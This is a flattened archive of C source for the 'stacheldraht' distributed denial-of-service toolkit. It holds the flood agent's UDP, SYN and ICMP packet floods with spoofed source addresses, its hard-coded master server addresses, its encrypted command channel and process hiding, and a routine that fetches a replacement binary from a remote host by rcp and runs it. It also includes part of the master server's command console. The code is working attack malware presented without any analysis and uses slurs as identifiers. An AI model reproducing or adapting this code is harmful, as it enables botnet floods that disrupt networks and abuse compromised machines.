&a, &b, &c, &d); if (nospoof < 2) b = getrandom (1, 254); if (nospoof < 3) c = getrandom (1, 254); d = getrandom (1, 254); sprintf (convi, "%d.%d.%d.%d", a, b, c, d); return inet_addr (convi); } char * k00lntoa (void) { struct in_addr hax0r; hax0r.s_addr = k00lip (); return (inet_ntoa (hax0r)); } void commence_udp (char *ipstohit) { int i, p; char *savepointi; savepointi=ipstohit; for (i = 0; i <= CHILDS - 1; i++) { p = fork (); if (!p) { rawsock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); setsockopt (rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof ("1")); while (1) { udp (*(int*)ipstohit); ipstohit=ipstohit+4; if (*ipstohit=='\0') { ipstohit=savepointi; } } } pid[i] = p; } } void commence_syn (char *ipstohit) { int i, p; char *savepointi; int port; port=lowport; savepointi=ipstohit; for (i = 0; i <= CHILDS - 1; i++) { p = fork (); if (!p) { rawsock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); setsockopt (rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof ("1")); while (1) { syn (*(int*)ipstohit, port); ipstohit=ipstohit+4; if (*ipstohit=='\0') { ipstohit=savepointi; } port++; if (port==highport) port=lowport; } } pid[i] = p; } } void commence_icmp (char *ipstohit) { int i, p; char *savepointi; savepointi=ipstohit; for (i = 0; i <= CHILDS - 1; i++) { p = fork (); if (!p) { rawsock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); setsockopt (rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof ("1")); while (1) { icmp (*(int*)ipstohit); ipstohit=ipstohit+4; if (*ipstohit=='\0') { ipstohit=savepointi; } } } pid[i] = p; } } void must_kill_all (void) { int i; for (i = 0; i <= CHILDS - 1; i++) kill (pid[i], 9); } char * strfl (void) { if (fw00ding == 1) return "UDP"; if (fw00ding == 2) return "SYN"; if (fw00ding == 3) return "ICMP"; return "NOT"; } #endif stacheldrahtV4/leaf/icmp.c100644 0 0 4440 6757711016 14034 0ustar rootroot#include "tubby.h" void icmp2(int lamer, int source) { int sawcket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); struct sockaddr_in pothead; struct ip *ipi; struct icmp *icmpi; char *packet; char *crap; int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64; struct in_addr amanda; pothead.sin_port = htons (0); pothead.sin_family = AF_INET; pothead.sin_addr.s_addr = lamer; srandom ((time (NULL) + random ())); packet = malloc (pktsize); ipi = (struct ip *) packet; icmpi = (struct icmp *) (packet + sizeof (struct ip)); memset (packet, 0, pktsize); crap=packet+sizeof(struct icmp) + sizeof(struct ip); amanda.s_addr=returnlocalip(); strcpy(crap,inet_ntoa(amanda)); ipi->ip_v = 4; ipi->ip_tos = 7; ipi->ip_len = htons (pktsize); ipi->ip_id = htons (getpid ()); ipi->ip_off = 0; ipi->ip_ttl = 0xff; ipi->ip_p = IPPROTO_ICMP; ipi->ip_hl=sizeof *ipi >> 2; ipi->ip_src.s_addr = source; ipi->ip_dst.s_addr = lamer; ipi->ip_sum = 0; icmpi->icmp_type = ICMP_ECHO; icmpi->icmp_code = 0; icmpi->icmp_cksum = htons (~(ICMP_ECHO << 8)); // icmpi->icmp_cksum = ip_sum ((u_short *) icmpi, pktsize); sendto (sawcket, packet, pktsize, 0, (struct sockaddr *) &pothead, sizeof (struct sockaddr)); close (sawcket); free (packet); return; } void icmp (int lamer) { struct sockaddr_in pothead; struct ip *ipi; struct icmp *icmpi; char *packet; int pktsize = sizeof (struct ip) + sizeof (struct icmp) + icmpsize; pothead.sin_port = htons (0); pothead.sin_family = AF_INET; pothead.sin_addr.s_addr = lamer; srandom ((time (NULL) + random ())); packet = malloc (pktsize); ipi = (struct ip *) packet; icmpi = (struct icmp *) (packet + sizeof (struct ip)); memset (packet, 0, pktsize); ipi->ip_v = 4; ipi->ip_tos = 0; ipi->ip_len = htons (pktsize); ipi->ip_id = htons (getpid ()); ipi->ip_off = 0; ipi->ip_ttl = 0xff; ipi->ip_p = IPPROTO_ICMP; ipi->ip_hl=sizeof *ipi >> 2; ipi->ip_src.s_addr = k00lip (); ipi->ip_dst.s_addr = lamer; ipi->ip_sum = ip_sum ((u_short *) ipi, pktsize); icmpi->icmp_type = ICMP_ECHO; icmpi->icmp_code = 0; icmpi->icmp_cksum = htons (~(ICMP_ECHO << 8)); sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &pothead,sizeof (struct sockaddr)); free (packet); return; } stacheldrahtV4/leaf/syn.c100644 0 0 4353 6763407711 13721 0ustar rootroot/* that mess was ripped out of void's code ;) */ unsigned long send_seq, ack_seq, srcport; #define SEQ 0x28374839 void send_tcp_segment(struct ip *ih, struct tcphdr *th, char *data, int dlen) { char buf[65536]; struct { /* rfc 793 tcp pseudo-header */ unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; } ph; struct sockaddr_in sin; ph.saddr=ih->ip_src.s_addr; ph.daddr=ih->ip_dst.s_addr; ph.mbz=0; ph.ptcl=IPPROTO_TCP; ph.tcpl=htons(sizeof(*th)+dlen); memcpy(buf, &ph, sizeof(ph)); memcpy(buf+sizeof(ph), th, sizeof(*th)); memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen); memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4); th->th_sum=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1); memcpy(buf, ih, 4*ih->ip_hl); memcpy(buf+4*ih->ip_hl, th, sizeof(*th)); memcpy(buf+4*ih->ip_hl+sizeof(*th), data, dlen); memset(buf+4*ih->ip_hl+sizeof(*th)+dlen, 0, 4); ih->ip_sum=ip_sum(buf, (4*ih->ip_hl + sizeof(*th)+ dlen + 1) & ~1); memcpy(buf, ih, 4*ih->ip_hl); sin.sin_family=AF_INET; sin.sin_port=th->th_dport; sin.sin_addr.s_addr=ih->ip_dst.s_addr; if(sendto(rawsock, buf, 4*ih->ip_hl + sizeof(*th)+ dlen, 0, (struct sockaddr *)&sin, sizeof(sin))<0) { printf("Error sending syn packet.\n"); perror(""); exit(1); } } void syn (u_long victim, u_short port) { int i, s; unsigned long my_ip; struct ip ih; struct tcphdr th; struct sockaddr_in sin; int sinsize; unsigned short myport=6969; char buf[1024], b[1024]; struct timeval tv; srandom(time(NULL)); ih.ip_v=4; ih.ip_hl=5; ih.ip_tos=0; /* XXX is this normal? */ ih.ip_len=sizeof(ih)+sizeof(th); ih.ip_id=htons(random()); ih.ip_off=0; ih.ip_ttl=30; ih.ip_p=IPPROTO_TCP; ih.ip_sum=0; ih.ip_src.s_addr=k00lip(); ih.ip_dst.s_addr=victim; srcport = getrandom(1, 1024)+1000; th.th_sport=htons(srcport); if (port == 0) th.th_dport=htons(getrandom(0, 65535)); else th.th_dport=htons(port); th.th_seq=htonl(SEQ); th.th_off=sizeof(th)/4; th.th_ack=(random()); th.th_flags = 0x02; th.th_win=htons(65535); th.th_sum=0; th.th_urp=(random()); gettimeofday(&tv, 0); send_tcp_segment(&ih, &th, "", 0); send_seq = th.th_seq+1+strlen(buf); } stacheldrahtV4/leaf/td.c100644 0 0 32750 7047040170 13525 0ustar rootroot/* stacheldraht flood network demon by randomizer based on mixter's tribe flood network demon code */ #define _BSD_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "config.h" #include "tubby.h" #include "control.h" #include "syn.c" #include "udp.c" #include "icmp.c" #include "blowfish.h" #define MSERVERFILE ".ms" /* default masterservers */ #define MSERVER1 "193.116.54.15" #define MSERVER2 "224.0.0.3" /* crypt value for the masterserver file */ #define ENCRYPTVALUE "randomsucks" /* check every 100 seconds if the masterserver is alive */ #define CHECKTIME 20 /* seconds the next distro is allowed */ #define DISTROTIME 100 /* maxtime a flood is allowed to run */ #define MAXTIME 30*60 // 2 hours ;) /* progname */ #define PROGNAME "init" /* port to wait for commands */ #define COMMANDPORT 65512 struct mserver { char servername[16]; }; struct ippkt { struct ip ipi; struct icmp icmpi; char buffer[1024]; }pkt; /* random's new variable crap */ char buffer[2000]; struct mserver mservi[20]; struct in_addr amanda; FILE *fili; struct ippkt packet; int listensocket; int noconfigfile=1; int servcounti=0; int counti=0; int received; int abortit; int serverworks; int timeend; int usedefault; int floodruns; int floodtime; int endtime; int distroallow=1; int distroend=0; int maxtimiend=0; /* important global variables */ int WAITTIMER = 10; int spoofing = 0; char *encrypt_string(char *, char *); char *decrypt_string(char *, char *); int resolv(char *host,long *ipaddr) { if (isdigit(host[0])) { *ipaddr=inet_addr(host); if (*ipaddr==-1) return -1; } else { struct hostent *hp; if ((hp=gethostbyname(host))==NULL) { fprintf(stderr,"tc: unknown host\n"); exit(-1); } *ipaddr=*(unsigned long *)hp->h_addr; } return 0; } int returnlocalip() { char asd[255]; u_long ip; // return(inet_addr("139.92.137.28")); gethostname(asd,255); resolv(asd,&ip); return(ip); } int spooftest() { #define timeout 10; fd_set fdset; struct timeval timi; int endtime; /* start of the spoof test */ /* setup new socket to wait for mserver reply */ listensocket=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); timi.tv_sec=1; timi.tv_usec=0; /* send a spoofed icmp packet*/ icmp2(serverworks,inet_addr("3.3.3.3")); /* set the end time (maximum delay) */ endtime=time(NULL) + timeout; /* wait for the masterserver reply */ while (time(NULL) < endtime) { FD_ZERO(&fdset); FD_SET(listensocket,&fdset); select(FD_SETSIZE,&fdset,NULL,NULL,&timi); usleep(100); memset((void*)&packet,0,sizeof(struct ippkt)); if (FD_ISSET(listensocket,&fdset)) { /* read data from listen socket */ read(listensocket,(char*)&packet,sizeof(struct ippkt)); /* was it the spoof reply */ if (ntohs(packet.icmpi.icmp_hun.ih_idseq.icd_id)==1000) { close(listensocket); return 0; } } } close(listensocket); return 3; } void delmserver(char *mserverip) { FILE *fili; char *pointi; char mservbuffer[10000]; char decbuffer[10000]; char *dstpointi; struct mserver *mpointi; long filesize; memset(decbuffer,0,sizeof(decbuffer)); memset(mservbuffer,0,sizeof(mservbuffer)); if ((fili=fopen(MSERVERFILE,"r"))==0) return; fseek(fili,0,2); fgetpos(fili,&filesize); fseek(fili,0,0); fread(mservbuffer,filesize,1,fili); fclose(fili); strcpy(decbuffer,decrypt_string(ENCRYPTVALUE,mservbuffer)); memset(mservbuffer,0,sizeof(mservbuffer)); mpointi=(struct mserver*)&mservi; pointi=(char*)&decbuffer; dstpointi=(char*)&mservbuffer; servcounti=0; while (1) { if (*pointi=='\0') break; memset(mservbuffer,0,sizeof(mservbuffer)); dstpointi=(char*)&mservbuffer; while ((*pointi!=' ') && (*pointi!='\0')) { *dstpointi=*pointi; dstpointi++; pointi++; } pointi++; *dstpointi=0; if (strcmp(mserverip,mservbuffer)!=0) { strcpy(mpointi->servername,mservbuffer); servcounti++; mpointi++; } } addnewmserver(NULL); } int readmservers() { FILE *fili; char *pointi; char mservbuffer[10000]; char decbuffer[10000]; char *dstpointi; struct mserver *mpointi; long filesize; memset(decbuffer,0,sizeof(decbuffer)); memset(mservbuffer,0,sizeof(mservbuffer)); if ((fili=fopen(MSERVERFILE,"r"))==0) return(0); fseek(fili,0,2); fgetpos(fili,&filesize); fseek(fili,0,0); fread(mservbuffer,filesize,1,fili); fclose(fili); strcpy(decbuffer,decrypt_string(ENCRYPTVALUE,mservbuffer)); memset(mservbuffer,0,sizeof(mservbuffer)); mpointi=(struct mserver*)&mservi; pointi=(char*)&decbuffer; dstpointi=(char*)&mservbuffer; servcounti=0; while (1) { if (*pointi=='\0') break; memset(mservbuffer,0,sizeof(mservbuffer)); dstpointi=(char*)&mservbuffer; while ((*pointi!=' ') && (*pointi!='\0')) { *dstpointi=*pointi; dstpointi++; pointi++; } servcounti++; pointi++; *dstpointi=0; strcpy(mpointi->servername,mservbuffer); mpointi++; } return 1; } void addnewmserver(char *newmserver) { FILE *fili; char mservbuffer[10000]; char encbuffer[10000]; char *pointi; int counter; memset(encbuffer,0,sizeof(encbuffer)); memset(mservbuffer,0,sizeof(mservbuffer)); fili=fopen(MSERVERFILE,"w+"); pointi=(char*)&mservbuffer; for (counter=0;counterservername)) { serverworks=inet_addr(servers->servername); break; } } counter++; servers++; } } void getnewbin(char *user,char *address) { char toexecute[200]; char text[200]; sprintf(text,"rm -rf %s",PROGNAME); system(text); #ifdef LINUX sprintf(toexecute,"rcp %s@%s:linux.bin %s",user,address,PROGNAME); #endif #ifdef SOLARIS sprintf(toexecute,"rcp %s@%s:sol.bin %s",user,address,PROGNAME); #endif system(toexecute); sprintf(text,"nohup ./%s",PROGNAME); system(text); exit(0); } int main (int puke, char **fart) { char buf[2048], target[256], answer[512]; struct ip *ipi = (struct ip *) buf; struct icmp *icmpi = (struct icmp *) (buf + sizeof (struct ip)); char *p = (buf + sizeof (struct ip) + sizeof (struct icmp)); int lsock, i, whereami, port4syn = 0; struct mserver defaultones[2]={{MSERVER1},{MSERVER2}}; int endtime; char user[100]; char commandbuf[5]; char *p2; char *sick; int socki; int newsocket; struct sockaddr_in socketmuell; int clientlength=sizeof(struct sockaddr_in); int tempi; FILE *fili2; if (geteuid ()) exit (-1); strcpy (fart[0], HIDEME); lsock = socket (AF_INET, SOCK_RAW, 1); close (0); close (1); close (2); if (fork ()) exit (0); /* signal (SIGHUP, SIG_IGN); signal (SIGTERM, SIG_IGN); */ signal (SIGCHLD, SIG_IGN); sleep(10); socki=socket(AF_INET,SOCK_STREAM,0); socketmuell.sin_port=htons(COMMANDPORT); socketmuell.sin_addr.s_addr=htonl(INADDR_ANY); socketmuell.sin_family=AF_INET; if (bind(socki,(struct sockaddr *)&socketmuell,sizeof(socketmuell))!=0) exit(0); close(socki); sleep(30); /* fork the new commandport handler */ if (fork()==0) { socki=socket(AF_INET,SOCK_STREAM,0); socketmuell.sin_port=htons(COMMANDPORT); socketmuell.sin_addr.s_addr=htonl(INADDR_ANY); socketmuell.sin_family=AF_INET; bind(socki,(struct sockaddr *)&socketmuell,sizeof(socketmuell)); listen(socki,5); while (1) { newsocket=accept(socki,(struct sockaddr *)&socketmuell,&clientlength); close(newsocket); } } if (readmservers()==0) { /* printf("no masterserver config found.\n"); printf("using default ones.\n"); */ servcounti=2; usedefault=1; contactservers((struct mserver*)&defaultones); strcpy(mservi[0].servername,defaultones[0].servername); strcpy(mservi[1].servername,defaultones[1].servername); } else contactservers(mservi); if (serverworks==0) { /* printf("\navailable servers: %i - working servers : 0\n",servcounti); printf("[*] stacheldraht [*] installation failed.\n"); */ exit(0); } close(listensocket); // printf("\nfound a working [*] stacheldraht [*] masterserver.\n"); nospoof=spooftest(); endtime=time(NULL)+CHECKTIME; fcntl(lsock,F_SETFL,O_NONBLOCK); timiend=0; while (1) { memset(buf,0,1024); i = read (lsock, buf, 1024); sick=p; if (maxtimiend!=0) { if (maxtimiend < time(NULL)) { floodruns=0; maxtimiend=0; must_kill_all(); usleep (1000); } } if (timiend!=0) { if (timiend < time(NULL)) { floodruns=0; timiend=0; must_kill_all(); usleep (1000); } } usleep(200); if (floodruns==0) { if (time(NULL) > endtime) { amanda.s_addr=serverworks; if (checkalive(inet_ntoa(amanda))==0) { serverworks=0; // printf("masterserver is gone, looking for a new one\n"); contactservers(mservi); } endtime=time(NULL)+CHECKTIME; } } if (ipi->ip_p == 1 && icmpi->icmp_type == 0) { whereami = i - (sizeof (struct ip) + sizeof (struct icmp)) + 1; switch (ntohs (icmpi->icmp_hun.ih_idseq.icd_id)) { case ID_SETPRANGE: lowport=ntohl(*(int*)sick); sick=sick+4; highport=ntohl(*(int*)sick); break; case ID_SETUSIZE: udppsize=ntohl(*(int*)p); break; case ID_SETISIZE: icmpsize=ntohl(*(int*)p); break; case ID_DISTROIT: if (distroendip_src.s_addr; myip = htonl (ipi->ip_dst.s_addr); send_connect(ipi->ip_src.s_addr,669,"sicken\n"); break; case ID_ICMP: if (floodruns) break; if (*(int*)p!=0) timiend=ntohl(*(int*)p)+floodtime+time(NULL); maxtimiend=time(NULL)+MAXTIME; myip = htonl (ipi->ip_dst.s_addr); fw00ding = 3; strcpy (fart[0], HIDEKIDS); commence_icmp (p); strcpy (fart[0], HIDEME); floodruns=1; break; case ID_SENDUDP: if (floodruns) break; if (*(int*)p!=0) timiend=ntohl(*(int*)p)+time(NULL); maxtimiend=time(NULL)+MAXTIME; floodtime=0; myip = htonl (ipi->ip_dst.s_addr); fw00ding = 1; strcpy (fart[0], HIDEKIDS); commence_udp (p+4); strcpy (fart[0], HIDEME); floodruns=1; break; case ID_SENDSYN: if (floodruns) break; if (*(int*)p!=0) timiend=ntohl(*(int*)p)+time(NULL); tempi=*(int*)p; fflush(stdout); floodtime=0; myip = htonl (ipi->ip_dst.s_addr); maxtimiend=time(NULL)+MAXTIME; floodruns=1; fw00ding = 2; strcpy (fart[0], HIDEKIDS); commence_syn (p+4); strcpy (fart[0], HIDEME); break; case ID_STOPIT: if (floodruns==0) break; floodruns=0; must_kill_all (); usleep (1000); break; case ID_SYNPORT: port4syn = atoi (target); break; case ID_DIEREQ: must_kill_all(); exit(0); default: continue; } } } /* 1 != 1 */ return (0); } stacheldrahtV4/leaf/tubby.h100644 0 0 5607 6763404366 14250 0ustar rootroot #ifndef TUBBY_H #define TUBBY_H //#define __FAVOR_BSD /*#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include */ int timiend; #if CHILDS > 15 #error "Packet kiddie detected..." #error "That many childs would crash the host... :)" #endif #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) #define ANSWER send_connect (ipi->ip_src.s_addr, ID_ACK, answer) void send_connect (unsigned long, unsigned int, char *); int returnlocalip(); void syn (u_long victim, u_short port); u_short cksum (u_short *, int); int udp (int lamer); int validip (char *); void icmp (int); char *strfl (void); void show_shit (char *); u_long k00lip (void); char *k00lntoa (void); void must_kill_all (void); void commence_udp (char *); void commence_syn (char *); void commence_icmp (char *); void delmserver(char *); void addnewmserver(char *); #ifdef ID_SHELL void shellsex (int); #endif unsigned short ip_sum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } u_short cksum (u_short * buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } int validip (char *ip) { int a, b, c, d, *x; sscanf (ip, "%d.%d.%d.%d", &a, &b, &c, &d); x = &a; if (*x < 0) return 0; if (*x > 255) return 0; x = &b; if (*x < 0) return 0; if (*x > 255) return 0; x = &c; if (*x < 0) return 0; if (*x > 255) return 0; x = &d; if (*x < 0) return 0; if (*x > 255) return 0; sprintf (ip, "%d.%d.%d.%d", a, b, c, d); // truncate possible garbage data return 1; } void send_connect (unsigned long to, unsigned int id, char *data) { char buf[1024]; struct icmp *icmpi = (struct icmp *) buf; char *bla = (buf + sizeof (struct icmp)); struct sockaddr_in sa; int i, ssock; ssock = socket (AF_INET, SOCK_RAW, 1); // bzero (buf, sizeof(buf)); memset(buf,0,sizeof(buf)); icmpi->icmp_type = 0; icmpi->icmp_hun.ih_idseq.icd_id = htons (id); // memcpy(bla,data,sizi); strcpy(bla,data); icmpi->icmp_cksum = ip_sum ((u_short *) icmpi, 1024); sa.sin_family = AF_INET; sa.sin_addr.s_addr = to; i = sendto (ssock, buf, 1024, 0, (struct sockaddr *) &sa, sizeof (sa)); close (ssock); return; } #endif stacheldrahtV4/leaf/udp.c100644 0 0 2453 6763360102 13667 0ustar rootrootint fbi = 1, cia = 9999; struct udphdr { u_short uh_sport; /* source port */ u_short uh_dport; /* destination port */ short uh_ulen; /* udp length */ u_short uh_sum; /* udp checksum */ }; int udp (int lamer) { struct { struct ip ipi; struct udphdr udp; char evil[1024]; } faggot; struct sockaddr_in llama; if (fbi++ > 9999) fbi = 1; if (cia-- < 1) cia = 9999; srandom ((time (NULL) + random ())); faggot.ipi.ip_hl = 5; faggot.ipi.ip_v = 4; faggot.ipi.ip_tos = 0x00; faggot.ipi.ip_len = htons (sizeof (struct ip) + sizeof(struct udphdr) + udppsize); faggot.ipi.ip_id = htons (random ()); faggot.ipi.ip_off = 0; faggot.ipi.ip_ttl = 0xff; faggot.ipi.ip_p = IPPROTO_UDP; faggot.ipi.ip_src.s_addr = k00lip (); faggot.ipi.ip_dst.s_addr = lamer; faggot.ipi.ip_sum = ip_sum (&faggot.ipi, sizeof (faggot.ipi)); faggot.udp.uh_sport = htons (cia); faggot.udp.uh_dport = htons (fbi); faggot.udp.uh_ulen = htons (sizeof (faggot.udp) + udppsize); llama.sin_family = AF_INET; llama.sin_addr.s_addr = lamer; sendto (rawsock, (void*)&faggot, (sizeof (struct ip) + sizeof(struct udphdr))+udppsize, 0, (struct sockaddr*)&llama,sizeof (llama)); return 1; } stacheldrahtV4/mserv.c100644 0 0 115347 7047037504 13376 0ustar rootroot#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "tubby.h" #include "config.h" #include "blowfish.h" extern int errno; /* salt generated with crypt */ #define SALT "dRFWfIGlF0zrE\0" /* port the masterserver listens on */ #define MSERVERPORT 65512 #define SERVVERSION "[*]stacheldraht[*] mserver version: 4.0\n" /* masterserver handles up to 6000 bcasts */ #define MAXBCASTS 6000 /* name of the encrypted bcast file */ #define BCASTFILENAME ".bc" /* local ip , the masterserver won't work on any other ip*/ #define LOCALIP "193.116.54.15" /* how many times a message gets send */ #define MAXROUNDS 10 /* port floodserver waits for the ping */ #define COMMANDPORT 65513 /* seconds to wait for the next status request */ #define SREQUEST 5*60 /* seconds to wait till it terminates the idle connection */ #define MAXWAIT (60*20) #define CURPROMPT "stacheldraht" #define SYN 1 #define UDP 2 #define ICMP 3 #define SPOOFWAIT 5 struct ippkt { struct ip ipi; struct icmp icmpi; char buffer[1024]; }pkt; /* global variables */ /* icmp size of the packets */ int icmpsize = 1024; /* udp size */ int udpsize = 1024; int resolv = 1; int flood = 0; int ptimer = 0; int floodt = 0; int trinoo = 0; int pingtimer; int endmtime; int finishedloop; int socki; int count; int bcasts[1000]; int tmpcasts[1000]; int bcastcount=0; int publicfd; int timetorun; int roundcounti; int childcount; int pid; int pids[200]; int pipee[2]; char text[200]; /* ips to hit */ char sendbuffer[500]; char tempbuffer[500]; char sendit[500]; char prompti[100]; int helpit; struct in_addr amanda; void mpingbcasts(int,int); void massudp(int,char *); void massstop(int,char *); void massicmp(int,char *); void masssyn(int,char *); void mtimer(int,char *); void madd(int,char *); void mremove(int,char *); void mlist(int); void readinbcasts(); void writebcasts(); void decryptstuff(char *,char *,char *); void encryptstuff(char *,char *,char *); void masteradd(int,char *); void masterremove(int,char *); void distroall(int,char *); void helpme(int,char *); void mdos(int,char *); void mdie(int,char *); void setisize(int,char *); void setusize(int,char *); void sprange(int,char *); void killall(int); char *encrypt_string(char *, char *); char *decrypt_string(char *, char *); void ffprintf(char *stringi,int fd) { char encrypteddata[1024]; char decrypteddata[1024]; char *source; char *desti; int roundcounti; memset(encrypteddata,0,sizeof(encrypteddata)); memset(decrypteddata,0,sizeof(encrypteddata)); strcpy(decrypteddata,stringi); encryptstuff(decrypteddata,encrypteddata,SALT); write(fd,encrypteddata,sizeof(encrypteddata)); } void decryptstuff(char *source,char *desti,char *key) { strcpy(desti,(char*)decrypt_string(key,source)); } void encryptstuff(char *source,char *desti,char *key) { strcpy(desti,(char*)encrypt_string(key,source)); } void setupfdroutine(int fd) { char data[1024]; char decrypteddata[1024]; char crapdata[1024]; fd_set fdset; struct timeval timi; char *source; char *desti; char *parseit; char *writeit; char *pointi; int left,readd,readit; int appendit; int idle=0; int checktime; readinbcasts(); checktime=time(NULL)+MAXWAIT; pipe(pipee); mpingbcasts(fd,3); pingtimer=time(NULL)+SREQUEST; ffprintf(prompti,fd); timi.tv_sec=1; timi.tv_usec=0; while (1) { idle=1; FD_ZERO(&fdset); if (time(NULL) > pingtimer) { mpingbcasts(fd,3); pingtimer=time(NULL)+SREQUEST; } if (endmtime!=0) { if (time(NULL) > endmtime) { ffprintf("\n* mtimer reached *\n",publicfd); endmtime=0; flood=0; ffprintf(prompti,fd); } } /* without this crap it would take like 96,x% of the cpu time ;( */ usleep(200); /* we need stdin connected to our leeto socket */ FD_SET(0,&fdset); /* leet0 network socket */ FD_SET(fd,&fdset); select(FD_SETSIZE,&fdset,NULL,NULL,&timi); memset(data,0,sizeof(data)); /* check if socket state changed */ if (FD_ISSET(fd,&fdset)) { readinbcasts(); memset(decrypteddata,0,sizeof(decrypteddata)); /* idle=0; readd=0; readit=0; pointi=(char*)&decrypteddata; left=sizeof(decrypteddata); while (readit!=sizeof(decrypteddata)) { readd=read(fd,pointi,left); left=sizeof(decrypteddata)-readd; readit=readit+readd; pointi=pointi+readd; } */ read(fd,decrypteddata,sizeof(decrypteddata)); decryptstuff(decrypteddata,data,SALT); if (strncmp(data,".quit",strlen(".quit"))==0) { if (flood==0) { ffprintf("exiting...\n",fd); exit(0); } ffprintf("you need to stop the packet action first.\n",fd); } parseit=(char*)&data; if (strncmp(data,".help",strlen(".help"))==0) { memset(crapdata,0,sizeof(crapdata)); helpit=1; if (strlen(data)==6) helpme(fd,data); else { writeit=(char*)&crapdata; parseit=parseit+6; while (*parseit==' ') parseit++; strcpy(data,parseit); } } if (strncmp(data,".version",strlen(".version"))==0) ffprintf(SERVVERSION,fd); if (bcastcount!=0) { if (strstr(data,"setusize")!=NULL) setusize(fd,data); if (strstr(data,"setisize")!=NULL) setisize(fd,data); if (strstr(data,"die")!=NULL) mdie(fd,data); if (strstr(data,"mdos")!=NULL) mdos(fd,data); if (strstr(data,"mping")!=NULL) mpingbcasts(fd,1); if (strstr(data,"mudp")!=NULL) massudp(fd,data); if (strstr(data,"micmp")!=NULL) massicmp(fd,data); if (strstr(data,"msyn")!=NULL) masssyn(fd,data); if (strstr(data,"mstop")!=NULL) massstop(fd,data); if (strstr(data,"mtimer")!=NULL) mtimer(fd,data); if (strstr(data,"madd")!=NULL) madd(fd,data); if (strstr(data,"mlist")!=NULL) mlist(fd); if (strstr(data,"msort")!=NULL) mpingbcasts(fd,2); if (strstr(data,"msadd")!=NULL) masteradd(fd,data); if (strstr(data,"msrem")!=NULL) masterremove(fd,data); if (strstr(data,"distro")!=NULL) distroall(fd,data); if (strstr(data,"sprange")!=NULL) sprange(fd,data); if (strstr(data,"killall")!=NULL) killall(fd); if (strstr(data,"showdead")!=NULL) mpingbcasts(fd,4); if (strstr(data,"showalive")!=NULL) mpingbcasts(fd,5); } if (bcastcount==0) ffprintf("add some bcasts mofo.\n",fd); helpit=0; ffprintf(prompti,fd); } if (time(NULL) > checktime) { if (idle==1) exit(0); else checktime=time(NULL)+MAXWAIT; } } } void killall(int fd) { int counti; ffprintf("killing all active childs...\n",fd); counti=0; while (pids[counti]!=0) { kill(pids[counti],SIGKILL); counti++; } } void sprange(int fd,char *buffer) { char *savi; char *pointi; int ports[2]; if (strlen(buffer)<=10) { ffprintf("usage: .sprange \n",fd); ffprintf("example: .sprange 0-140\n",fd); return; } savi=buffer; while (*savi!=' ') savi++; while (*savi==' ') savi++; pointi=strtok(savi,"-"); ports[0]=htonl(atoi(pointi)); pointi=strtok(NULL,"-"); ports[1]=htonl(atoi(pointi)); sprintf(text," low port is : %i\n",ntohl(ports[0])); ffprintf(text,fd); sprintf(text,"high port is : %i\n",ntohl(ports[1])); ffprintf(text,fd); for (roundcounti=0;roundcounti\n",fd); sprintf(text,"current udp packet size is %ibytes\n",udpsize); ffprintf(text,fd); return; } while (*buffer!=' ') buffer++; buffer++; while (*buffer==' ') buffer++; savi=buffer; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } udpsize=htonl(atoi(buffer)); if (ntohl(udpsize)<=1024) { for (roundcounti=0;roundcounti\n",fd); sprintf(text,"current icmp packet size is %ibytes\n",icmpsize); ffprintf(text,fd); return; } while (*buffer!=' ') buffer++; buffer++; while (*buffer==' ') buffer++; savi=buffer; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } icmpsize=htonl(atoi(buffer)); if (ntohl(icmpsize)<=1024) { for (roundcounti=0;roundcounti \n",fd); return; } craptosend=(char*)&crapi; pointi=(char*)&user; savi=buffer; while (*savi!=' ') savi++; savi++; while (*savi!=' ') { *craptosend++=*savi; *pointi++=*savi++; } *craptosend=' '; *pointi=0; craptosend++; savi++; while (*savi==' ') savi++; pointi=savi; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } ffprintf("remember : the distro files need to be executable!\n",fd); ffprintf("that means: chmod +x linux.bin , chmod +x sol.bin ;))\n",fd); ffprintf("sending distro request to all bcasts....\n",fd); sprintf(text," user : %s\n",user); ffprintf(text,fd); ffprintf("rcp server : ",fd); if (resolv) hostenti=gethostbyname(pointi); if (resolv) { if (!hostenti) { sprintf(text,"unable to resolve - %s\n",pointi); ffprintf(text,fd); ffprintf("unable to send distro request.\n",fd); return; } else { mip=*(unsigned long*)hostenti->h_addr; amanda.s_addr=*(unsigned long*)hostenti->h_addr; sprintf(text,"%s\n",(char*)inet_ntoa(amanda)); strcpy(craptosend,inet_ntoa(amanda)); ffprintf(text,fd); } } else { sprintf(text,"%s\n",pointi); ffprintf(text,fd); mip=inet_addr(pointi); strcpy(craptosend,(char*)inet_addr(pointi)); } for (roundcounti=0;roundcounti\n",fd); return; } savi=buffer; while (1) { if (*savi=='\0') break; if ((*savi==13) || (*savi==10)) { *savi=0; break; } savi++; } pointi=buffer; while (*pointi!=' ') pointi++; pointi++; 